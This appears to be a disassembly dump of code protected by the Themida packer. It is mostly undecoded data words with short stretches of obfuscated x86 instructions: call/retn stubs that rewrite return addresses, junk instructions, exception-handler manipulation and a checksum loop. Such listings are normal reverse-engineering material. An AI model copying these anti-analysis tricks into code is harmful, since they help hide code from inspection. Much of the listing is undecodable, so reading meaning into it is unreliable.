		dd 585A5F1Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0FF33A049h, 0FDEB96B5h, 0FE907h
		dd 7E3A0000h, 18F2C55Ch, 8A00B82Fh, 0BE224B3Dh,	0B595FFD3h
		dd 6007FA1Ch, 0FCA8B66h, 689h, 71858900h, 6107FA08h, 0EB96B5FFh
		dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0FF2193C3h, 0BB6613BBh, 95FFF434h, 7FA21ADh
		dd 231DB529h, 0BD8307FAh, 7FA2221h, 58840F02h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0F16FC352h, 0A5BD8B4Ch, 8907FA0Ah, 0FA2975B5h
		dd 15858B07h, 8B07FA16h, 0FA0A859Dh, 0C607h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D4C35141h, 0C7B6C2D9h
		dd 0FA16DD85h, 7, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 5AD351FAh, 0D7627D50h
		dd 18059589h, 0E9F807FAh, 0FFFFF305h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 6AC35040h, 0B20417A3h, 9D8BF3B9h
		dd 7FA17CDh, 2C219529h,	0C18B07FAh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0DEC35242h,	8D0B773Dh, 0FA019985h
		dd 81BD8B07h, 5007FA17h, 61D98B60h, 60240489h, 0B589FA8Ah
		dd 7FA0B45h, 6A006A61h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0E137C352h,	45466EAEh
		dd 8151B352h, 9EA388C7h, 0E9006A10h, 6,	8900CD49h, 11E9E307h
		dd 0DB000000h, 1673609Ah, 7B14B8E3h, 0EC9DEE09h, 6CB6C03Ah
		dd 0FBC9858Dh, 0BD8907FEh, 7FA239Dh, 6A05C083h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 60A2C351h, 667AAA2Bh, 4E88CF81h, 12E86050h, 76000000h
		dd 4B715678h, 0D5A1E786h, 66681C5Bh, 87DFB1FBh,	5EB0B0D7h
		dd 0CE8h, 4C5C3700h, 85EE2C5h, 52CBD6C5h, 0DEBA66ECh, 89615950h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FB204C3h, 0CF80FEBFh, 0DE891h, 0BA020000h
		dd 7E44EAF4h, 7264DA26h, 9965932h, 0FA25C9BDh, 6A5B07h
		dd 800F006Ah, 0Ah, 5E9h, 98FEC00h, 95FFFC8Ah, 7FA2BE9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 54C35242h
		dd 25B589DBh, 8D07FA28h, 0FDD7118Dh, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 4424ACh, 0E90EEAA6h
		dd 6, 82738C71h, 8B6689F1h, 0F8D1FFFEh,	33EDBD83h, 0F0107FAh
		dd 7985h, 0DBD8B00h, 6A07FA2Eh,	0C99D8902h, 6007FA16h
		dd 0B5858B60h, 6107FA33h, 52509061h, 310FDE8Bh,	58C0Fh
		dd 70BF0000h, 5A6C1E74h, 0FE85058h, 20000000h, 0EB251DE8h
		dd 291E2A74h, 9D451378h, 0D88B4071h, 6A905Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 104FCC3h
		dd 66A7AFD6h, 27C6CB81h, 1C9595FFh, 895207FAh, 0FA2181B5h
		dd 0A1E95B07h, 0E800000Ch, 0
		dd 0D3ED815Dh, 3107FEFBh, 0FA32B585h, 0FCEB8107h, 0F2BEA06h
		dd 858DD9BFh, 7FDB959h,	68A0Fh,	9D890000h, 7FA181Dh, 50F98B90h
		dd 6090FC8Ah, 15DD8503h, 800F07FAh, 6, 34F98501h, 896107FAh
		dd 0FA2821BDh, 35FF6407h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		mov	edi, [ebp+7FA07B5h]
		inc	dword ptr [ebp+7FA1049h]
		push	0
		push	edx
		call	sub_5D3082
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3082	proc near		; CODE XREF: Themida_:005D307Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5D3082	endp

; ---------------------------------------------------------------------------
		inc	eax
		cmp	bh, ah
		xor	bh, 0B8h
		push	0FFFFFFFFh
		push	0
		push	edi
		call	sub_5D30A5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D30A5	proc near		; CODE XREF: Themida_:005D309Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5D30A5	endp

; ---------------------------------------------------------------------------
		db 64h,	72h, 32h
; ---------------------------------------------------------------------------
		pop	ecx
		xchg	eax, esi
		sbb	ebx, 7E4A8282h
		push	dword ptr [ebp+7FA2D6Dh]
		push	0
		push	ebx
		call	sub_5D30D1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D30D1	proc near		; CODE XREF: Themida_:005D30C9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5D30D1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	dh, 0AFh
		pop	es
		mov	ecx, 0EDF738BEh
		cmp	dh, ch
		call	dword ptr [ebp+7FA2875h]
		jmp	loc_5D322E
; ---------------------------------------------------------------------------
		db 81h
		dd 105BC4DBh, 8B00B038h, 0FA17899Dh, 0F70E607h,	71E4D9B7h
		dd 0C0DF8166h, 0F613CCAh, 11583h, 9DBD8900h, 0F07FA0Ah
		dd 0E860C8B6h, 6, 3B1E2C13h, 8B66D1F3h,	852959F1h, 7FA2EA1h
		dd 8B666061h, 0BA61FCD6h, 6, 28218589h,	6E907FAh, 0BC000000h
		dd 0A859BC8Dh, 81C18B74h, 4234AFE7h, 4E8C149h, 0FE8h, 17888700h
		dd 0C789C0D3h, 0DDCE1A36h, 68453465h, 68F0Fh, 0BD8B0000h
		dd 7FA3399h, 0E2F7665Fh, 280D9D89h, 0C82B07FAh,	8BFABF0Fh
		dd 0ADDFBFD1h, 93E932B4h, 29000000h, 0FA07619Dh, 1858B07h
		dd 8B000000h, 0FA082DBDh, 7C08307h, 0C083DA8Bh,	0FE800h
		dd 0CF270000h, 42E9FE33h, 38A53658h, 95153D04h,	0F5BF8CEh
		dd 0D03BDFB7h, 29830Fh,	0BD890000h, 7FA1F59h, 8E9h, 77FAAF00h
		dd 0F6950D6Eh, 40E916h,	0CE90000h, 0C0000000h, 72981DEDh
		dd 0B2DE2EDEh, 8B6C2DFBh, 0FFFFFF8Dh, 0E183F9FFh, 1F840F01h
		dd 80000000h, 0A58303EBh, 0FFFFFFFFh, 0F19D23FEh, 8907FA28h
		dd 195h, 94BF6600h, 0E9DCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D322E:				; CODE XREF: Themida_:005D30F2j
		lea	esi, [ebp+7FE7552h]
		call	sub_5D3242
		popa
		push	ebx
		push	ebp
		hlt
; ---------------------------------------------------------------------------
		mov	edi, 4BD77AFCh

; =============== S U B	R O U T	I N E =======================================



sub_5D3242	proc near		; CODE XREF: Themida_:005D3234p
		pop	ebx
		push	0
		mov	[ebp+7FA1C49h],	edi
		call	dword ptr [ebp+7FA1019h]
		push	0
		push	eax
		call	sub_5D325C
		and	[eax-3Dh], bl
sub_5D3242	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D325C	proc near		; CODE XREF: sub_5D3242+12p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5D325C	endp

; ---------------------------------------------------------------------------
		mov	ds:0B260A823h, eax
		push	edx
		mov	esi, edx
		popa
		mov	ecx, 0FFDh
		push	edi
		xor	[ebp+7FA27F9h],	edi
		pop	ebx
		and	ecx, 0FFFFFFFCh
		or	[ebp+7FA0EF1h],	edx
		cld
		jmp	loc_5D3296
; ---------------------------------------------------------------------------
		db 0E7h, 0Bh, 87h
; ---------------------------------------------------------------------------
		xor	esi, [esi]


loc_5D3296:				; CODE XREF: Themida_:005D328Cj
		sub	eax, eax
		push	0
		push	ebx
		call	sub_5D32A3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D32A3	proc near		; CODE XREF: Themida_:005D329Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5D32A3	endp

; ---------------------------------------------------------------------------
		db 0E5h
		dd 0BDED6094h, 53C78166h, 0BAC1h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 857B90C3h
		dd 0D72ADFDEh, 0D98B8BBBh, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 25C35343h
		dd 0C1968396h, 5E8h, 180A9200h,	0BD8919D7h, 7FA0849h, 0FFB70F5Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 68C35747h
		dd 0FF735770h, 880DACDDh, 8B000000h, 0FA1D85BDh, 0D9958B07h
		dd 6A07FA1Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0CFA6C356h, 8D8BA0B8h,	7FA31ADh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 18C35040h
		dd 11D0D594h, 81BA1540h, 97CA10F7h, 6BF662Eh, 0C28B50CEh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 0FA2981BDh
		dd 458D8907h, 8307FA21h, 0FA2A29BDh, 840F0007h,	37h, 2359BD89h
		dd 0B807FAh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 92E7C350h, 172F7D17h
		dd 4F668D8Dh, 0E1FF07FAh, 83DE8B66h, 0FA2BD9BDh, 840F0007h
		dd 387h, 2BD9BD83h, 0F0107FAh, 39584h, 5830F00h, 0BF000000h
		dd 290461BDh, 2BD9BD83h, 0F0307FAh, 34786h, 5FBF6600h
		dd 8C666021h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 5FBA6FDBh, 6A04E180h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F237C351h
		dd 317A2EA2h, 4413495Fh, 0ABEB8166h, 0FC90A8Bh,	0D684h
		dd 0FE96000h, 0DB000000h, 1176C428h, 0CD433B4Eh, 640AD6E2h
		dd 0B58BE0A2h, 7FA2C21h, 0E9858B61h, 6A07FA0Fh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 28F1C350h, 3040860Ah, 33D98B66h, 0FA15E185h,	9D015607h
		dd 7FA1DEDh, 5250905Bh,	4311BF66h, 0C3B3310Fh, 0E950585Ah
		dd 5, 0F87EBE87h, 0F569040h, 6A5FD8BFh,	0BD16800h, 8B66AAA1h
		dd 240481DFh, 557DF82Eh, 1CE995FFh, 0DF8B07FAh,	0EB968589h
		dd 958907FDh, 7FA2251h,	1D7E9h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0DDCAFB61h
		dd 0E9B71A89h, 0Dh, 195C1253h, 5119DE37h, 5C736670h, 0F1BD89A8h
		dd 8B07FA07h, 0FDEB8E85h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 86E91A23h
		dd 0C8B0Fh, 820F0000h, 6, 26A99D8Bh, 0B70F07FAh, 1800C7F9h
		dd 66000000h, 0B58BFE8Bh, 7FDEB92h, 0EE9h, 7D66C200h, 7E8878A8h
		dd 8155CE82h, 0F515FEC7h, 0D51858Bh, 0BD8B07FAh, 7FA2AE1h
		dd 0BF0F0689h, 0E9858BDFh, 6A07FA0Fh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 75DAC355h
		dd 52C57CE1h, 9AB96B56h, 118D9589h, 0DA8A07FAh,	6A044689h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 598FC352h, 82346C09h, 319D335Ch, 9607FA23h
		dd 6ADCE6BBh, 0BF665060h, 0BB9697E3h, 6F7BD9A5h, 0EB8EB5FFh
		dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 5C2BF2C3h, 62A0B068h, 860FC5h, 81000000h
		dd 634F2404h, 6A3ABCh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0FC6033C3h, 96858D61h, 6A07FDEBh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 78ECC355h, 0E821B27Ch, 0F50ED04h,	8Fh, 24048900h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 36C35747h
		dd 5B468CEEh, 0FF9EB457h, 0FA1CE995h, 0AE907h, 6E660000h
		dd 0BA19A9CEh, 72CA8E59h, 50006A61h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0A7004B2Bh
		dd 2531BD33h, 952907FAh, 7FA29DDh, 2BD985C7h, 307FAh, 8B660000h
		dd 96BD83F8h, 7FDEBh, 32840Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0C5A7A9C3h
		dd 2162AFABh, 24E9B2B8h, 80000000h, 9D8B5ECBh, 7FA1681h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0BBC08B00h
		dd 6B5F2E7Eh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	68C35646h, 81B177B3h, 0C6BF96E7h, 89958932h, 8307FA22h
		dd 0FA2BD9BDh, 850F0307h, 47Fh,	1BC59D89h, 0BD8307FAh
		dd 7FDEB96h, 6C840F00h,	8B000004h, 0FA26B59Dh, 96B5FF07h
		dd 0FC07FDEBh, 274595FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E3CBCDC3h, 7388D31Fh
		dd 0F006BB66h, 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A549F9C3h
		dd 73A7B781h, 8B06AFCFh, 0FA1CB19Dh, 0BF0F6007h, 419D8BCAh
		dd 6107FA05h, 106C7h, 0BF660001h, 0DF8BCE28h, 0C8C0F50h
		dd 0E9000000h, 7, 0DE82EED4h, 89EB187Eh, 0BF0F2434h, 96B5FFDEh
		dd 8907FDEBh, 0FA11A185h, 0E195FF07h, 6A07FA18h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 77B8C353h, 0C67EE41Ch, 6E984h, 0C59D0000h, 807B6D69h
		dd 0EB8AB58Bh, 6A07FDh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9BD300C3h, 0FA7AE1CBh, 7D858B94h
		dd 6A07FA1Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0BB9FC352h, 375A0585h,	4EDF8166h
		dd 0C48689ECh, 80000000h, 958B24D7h, 7FA1CD9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BEC35747h, 17BEFE2Eh
		dd 0EE9B9h, 6D80000h, 6FF40570h, 738149FDh, 4D5212E1h
		dd 6A04C283h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 2163C357h, 93CE38AFh, 9D8B7391h
		dd 7FA20D9h, 6870Fh, 0F3810000h, 549FC9C9h, 8D205089h
		dd 0FDFEF785h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0D99B2993h, 31BD01BFh
		dd 8B07FA31h, 0FA14BDBDh, 0B8868907h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0F7EFC353h, 88C1849Ah, 0FDEBF0Fh, 387h, 0DA8B6600h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0F27B6C3h, 1781h,	0FE85700h, 0A0000000h
		dd 0CF61081Ah, 88F054Dh, 98859DCh, 5B5F40CDh, 0EB96B5FFh
		dd 0DA8A07FDh, 1C9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0AF50FCC3h, 965EC271h
		dd 0E850F98Bh, 0Eh, 6B99F6AEh
		dd 869CF85Ah, 0BB1EAC72h, 965B2320h, 0B5FFF98Bh, 7FDEB96h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0F0C35040h
		dd 1D9595FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 111FF1C3h, 53605FB5h, 0BE95FF9h
		dd 86000000h, 0C08C1054h, 2C8571C8h, 89610288h,	0FA0E1D9Dh
		dd 31BD8307h, 7FA01h, 82840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 112EDBC3h
		dd 6817D796h, 50F916DBh, 13E8h,	0E76F00h, 78B83723h, 0B7DF6138h
		dd 7DEBD25h, 7AF155FEh,	5F6EB353h, 2434895Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 61C35141h, 0BE3779A6h
		dd 17BEFE2Eh, 0E820FB9h, 0E8000000h, 6,	33BBDFB5h, 0FD8AB2AAh
		dd 5FF8515Bh, 0EB96B5FFh, 9D8B07FDh, 7FA2E65h, 1CB595FFh
		dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 25A6A5C3h, 0E91BF726h, 0D8B70F53h, 96B5FF5Fh
		dd 107FDEBh, 0FA316D95h, 0AD95FF07h, 8907FA21h,	0FA16C98Dh
		dd 699D8B07h, 8307FA28h, 0FA2221BDh, 840F0207h,	59h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0BBC35141h, 0A4E1CD10h
		dd 0BD89098Ah, 7FA3295h, 1615858Bh, 0FE8B07FAh,	6A0000C6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0A1D2C351h, 72DF765Ah, 50BB66EBh,	0DD85C7BCh
		dd 7FA16h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E923C357h, 0FFFFF3FCh, 8E9h
		dd 8AB8C900h, 9A7E50C5h, 0FC18B35h, 0DE8BD9B7h,	199858Dh
		dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 3B3AC9C3h, 90F88B9Fh, 0BB665250h,	310FE1E5h
		dd 585A01B3h, 0BF605750h, 5833131Dh, 5F61B2B4h,	0BDBD8B90h
		dd 0B307FA1Dh, 31006AA9h, 0FA2F69BDh, 6A006A07h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 2181C351h, 0BD8B641Dh, 7FA1675h, 0AE9h, 0DA462D00h
		dd 0D0608184h, 8DF88672h, 0FF0AA585h, 0DBD0107h, 8007FA24h
		dd 0C0839CEBh, 8B50F805h, 240489D8h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 98C35545h, 51AE5A69h, 8E0F73BFh
		dd 6, 222D9D8Bh, 0B58907FAh, 7FA2A2Dh, 6A006Ah,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0CEB407C3h, 0F6B70F60h, 2215BD89h, 6A6107FAh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0E0845BDDh, 0FF2FB74Ch, 0FA2BE995h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0E233137Eh, 0D7118D8Dh, 816607FDh, 0FFC8B3F7h, 83EAB7D1h
		dd 0FA33EDBDh, 850F0107h, 0D2h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 30C35343h, 26A66EEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E7C35747h, 0FF947B0h
		dd 0D381FBB7h, 4BE8BB35h, 1270D381h, 60905CDBh,	0DE85250h
		dd 83000000h, 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 66310F58h
		dd 5A3660BBh, 7E858h, 0B0350000h, 20CD6965h, 5E5A5145h
		dd 810F5061h, 15h, 0F840Fh, 0AE90000h, 0DE000000h, 1F4CAE2Fh
		dd 0BFBDCCC2h, 0E956900Fh, 9, 3C87EE53h, 56B9AF28h, 95FF5F80h
		dd 7FA1C95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	63C35242h, 986AF9C0h, 1EE95A69h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FF0AAFh
		push	0
		push	edx
		call	sub_5D3F02
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3F02	proc near		; CODE XREF: Themida_:005D3EFAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5D3F02	endp

; ---------------------------------------------------------------------------
		cmpsd
		jmp	short loc_5D3F83
; ---------------------------------------------------------------------------
		db 79h,	66h, 81h
		dd 0E9C493DFh, 0Fh, 0A51D68D9h,	0F8A1401Dh, 0DB7C6F0Dh
		dd 8D92068Ah, 0FDB95985h, 66519007h, 5BFD23BBh,	8B666050h
		dd 0EE960D7h, 9F000000h, 5BAB71B6h, 0BFF311Ah, 141B547Fh
		dd 0F28B663Ch, 0F906161h, 158Ah, 0F890F00h, 0E9000000h
		dd 0Ah,	74D7100h, 0E75AE8E7h, 8B665105h, 35FF64FAh, 0
; ---------------------------------------------------------------------------
		movzx	edi, di


loc_5D3F83:				; CODE XREF: Themida_:005D3F13j
		mov	large fs:0, esp
		mov	ebx, [ebp+7FA2EEDh]
		mov	di, cx
		inc	dword ptr [ebp+7FA1049h]
		push	0
		push	edi
		call	sub_5D3FA4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3FA4	proc near		; CODE XREF: Themida_:005D3F9Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5D3FA4	endp

; ---------------------------------------------------------------------------
		dd 36E62F86h, 6AFBB70Fh, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 4580902Fh, 16A482Ch, 8D0FFCh
		dd 0FF000000h, 0FA2149B5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BFF5898Dh
		dd 603827F3h, 287595FFh, 9E907FAh, 29000001h, 0FA2041BDh
		dd 8B00B007h, 0FA1115BDh, 8B70E607h, 0FA28619Dh, 0F71E407h
		dd 613CFAB7h, 0E6830Fh,	0BD8B0000h, 7FA33F1h, 0BAC8B60Fh
		dd 6, 0BD8BDA8Bh, 7FA24B1h, 0CE9C18Bh, 0F7000000h, 6B01B372h
		dd 65DC54E2h, 0C16FCADDh, 0DA8B04E8h, 89E2F766h, 0FA2E6595h
		dd 0B3C82B07h, 31D18BD6h, 0FA316D95h, 9EE907h, 49B30000h
		dd 4858Bh, 0F600000h, 68Dh, 49B58900h, 2907FA08h, 0FA0F9195h
		dd 0C0836107h, 99BD0307h, 8307FA00h, 9D8B00C0h,	7FA31C9h
		dd 830FD03Bh, 0Eh, 38A0Fh, 0DF800000h, 5AE9BBh,	8D8B0000h
		dd 0FFFFFFFFh, 9FA2D381h, 0E1835838h, 45840F01h, 0E9000000h
		dd 10h,	3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h, 4860Fh
		dd 0BB660000h, 0A5833256h, 0FFFFFFFFh, 8D9D8BFEh, 8907FA16h
		dd 495h, 9E900h, 0BDBE0000h, 0CCD9D29h,	0E93E6BDDh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7FE854Fh]
		mov	[ebp+7FA1F3Dh],	ebx
		push	0
		push	0
		push	eax
		call	sub_5D413D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D413D	proc near		; CODE XREF: Themida_:005D4135p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5D413D	endp

; ---------------------------------------------------------------------------
		db 65h,	54h, 8Ah
		dd 619D8BFCh, 6607FA27h, 95FFD98Bh, 7FA1019h, 12E8h, 8E253E00h
		dd 623912DEh, 712B7DFBh, 16D20F06h, 1467C0Ch, 0FA220DBDh
		dd 0DAB95B07h, 8B00000Eh, 0FCE183D8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 62C35242h, 8B03604Ah, 0F98AD320h
		dd 2D8589FCh, 0B807FA2Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5D41C3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D41C3	proc near		; CODE XREF: Themida_:005D41BBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D41C3	endp

; ---------------------------------------------------------------------------
		aas
		mov	al, ds:994A9509h
		push	edi
		mov	di, 0F0EEh
		sub	[ebp+7FA2B39h],	ebx
		sub	edx, edx
		jz	loc_5D41EF
		movzx	ebx, di


loc_5D41EF:				; CODE XREF: Themida_:005D41E6j
					; Themida_:005D41F9j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D41EF
		add	bl, 98h
		push	0
		push	edi
		call	sub_5D4209
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4209	proc near		; CODE XREF: Themida_:005D4201p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5D4209	endp

; ---------------------------------------------------------------------------
		db 70h,	8Bh, 0D8h
; ---------------------------------------------------------------------------
		or	eax, 88h
		mov	[ebp+7FA0571h],	esi
		and	edi, [ebp+7FA29B1h]
		mov	edx, [ebp+7FA1CD9h]
		push	0
		push	edi
		call	sub_5D423E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D423E	proc near		; CODE XREF: Themida_:005D4236p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5D423E	endp

; ---------------------------------------------------------------------------
		dw 2499h
		dd 5B73FD3h, 0BD09ECE1h, 7FA2955h, 29818589h, 8D8B07FAh
		dd 7FA31ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	67C35141h, 4D8CEB9Dh, 0B1D5D7F4h, 51953191h, 5007FA06h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	3DA8A58h
		dd 0FA0839BDh, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 1186DD49h, 0AE0AC0BEh
		dd 0BD836A81h, 7FA2A29h, 97840F00h, 66000000h, 8F5DD781h
		dd 0E8F0Fh, 0F600000h, 84h, 65953300h, 6107FA2Dh, 0B8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 84194BE2h, 0FA8B66FEh, 4F668D8Dh, 6A07FAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 718F64C3h, 5E6C2BA2h, 99D8B92h, 0FF07FA2Ch, 53006AE1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0E6904A4h, 0A0DFEB81h, 0BD833FECh, 7FA2BD9h,	0B1840F00h
